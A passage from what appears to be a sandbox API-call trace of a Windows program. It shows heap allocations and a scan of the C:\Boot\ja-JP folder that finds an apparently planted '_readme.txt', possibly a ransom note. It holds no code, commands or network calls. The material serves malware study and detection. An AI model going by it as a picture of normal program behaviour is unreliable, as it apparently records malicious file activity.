hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.483] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.484] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.484] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.484] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.484] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.484] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32985b0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb32985b0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb32985b0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.484] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.484] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.484] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.484] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.485] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.485] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.486] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.486] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.487] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.487] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.488] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.488] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.489] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.489] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eac0 [0066.490] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.490] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: 